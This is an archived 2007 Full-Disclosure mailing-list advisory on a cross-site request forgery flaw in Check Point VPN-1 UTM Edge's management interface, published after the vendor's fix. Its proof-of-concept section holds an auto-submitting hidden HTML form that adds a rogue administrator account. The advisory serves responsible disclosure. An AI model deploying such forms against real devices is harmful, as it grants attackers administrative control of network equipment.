full-disclosure - CheckPoint VPN-1 UTM Edge Cross Site Request Forgery vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20070627040132.lm8sbvoyog0k08gw@officemail.smilehouse.com>
Date: Wed, 27 Jun 2007 04:01:32 +0300
From: Henri Lindberg - Louhi Networks Oy <henri.lindberg@...hi.fi>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: CheckPoint VPN-1 UTM Edge Cross Site Request
	Forgery vulnerability

                          Louhi Networks Oy
                       -= Security Advisory =-


      Advisory: Checkpoint VPN-1 UTM Edge Cross Site Request Forgery
  Release Date: 2007/06/26
Last Modified: 2007/06/26
       Authors: Henri Lindberg, Associate of (ISC)² [henri.lindberg@...hi.fi]
                Jussi Vuokko, CISSP [jussi.vuokko@...hi.fi]

   Application: Checkpoint VPN-1 Edge X Embedded NGX 7.0.33x
                (Other versions of the same software might be affected.)
       Devices: Checkpoint VPN-1 UTM Edge
      Severity: Cross site request forgery in management interface
          Risk: Moderate
Vendor Status: Vendor has released an updated version
    References: http://www.louhi.fi/advisory/checkpoint_070626.txt


Overview:

    Quote from http://www.checkpoint.com/
    "VPN-1 UTM Edge appliances deliver unified threat management to
     enterprises with branch offices and simplify security deployments
     and manageability. VPN-1 UTM Edge appliances consolidate proven
     enterprise-class technology into a single branch office solution
     that does not compromise the corporate network and eliminates the
     branch office as your weakest link. As part of Check Point's Unified
     Security Architecture, VPN-1 UTM Edge can enforce a global security
     policy and allows administrators to manage and update thousands of
     appliances as easily as managing one."

    During an audit of VPN-1 UTM Edge it was discovered that a cross site
    request forgery vulnerability exists in the management interface.
    Thus, it is possible for an attacker to perform any administrative
    actions in the management interface. These include e.g. adding
    additional admin users.


Details:

    Checkpoint VPN-1 Edge Embedded device management interface does not
    validate the origin of an HTTP request. If attacker is able to make
    user visit a hostile web page, a VPN-1 Edge device can be controlled
    by submitting suitable forms. It is possible to add new users for
    example.

    Successful attack requires that the attacker knows the management
    interface address for the target device. As the management interface
    does not have logout functionality, user can be vulnerable to this
    attack even after closing a tab containing the management interface
    (if user does not close the browser window or clear cookies and
    depending on browser behaviour).


Proof of Concept:

    Example form (adds new read-only administrator):

    <html>
    <body onload="document.CSRF.submit()">
    <form name="CSRF" method="post"
     action="https://fw.example.com/pop/WizU.html "style="display:none">

    <input name="swstate" value="WizU1">
    <input name="swtosave" value="1">
    <input name="swback" value="0">
    <input name="swindex" value="-1">
    <input name="swuuser" value="evil-user">
    <input name="swupass" value="password">
    <input name="swuexp" value="0">
    <input name="swuday" value="4">
    <input name="swumonth" value="5">
    <input name="swuyear" value="2008">
    <input name="swuhour" value="03">
    <input name="swumin" value="11">
    <input name="swuampm" value="1">
    <input name="swuacc" value="1">
    <input name="swuvpn" value="0">
    <input name="swuufp" value="0">
    <input name="swuhot" value="0">
    <input name="tacc" value="1">

    </form>
    </body>
    </html>


Workaround:

    Update to new version.

More information

    http://en.wikipedia.org/wiki/Cross-site_request_forgery

Disclosure Timeline:

    7. June 2007      - Contacted Checkpoint by email
    26. June 2007     - Vendor released an updated version
    26. June 2007     - Advisory was released


Copyright 2007 Louhi Networks Oy. All rights reserved.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/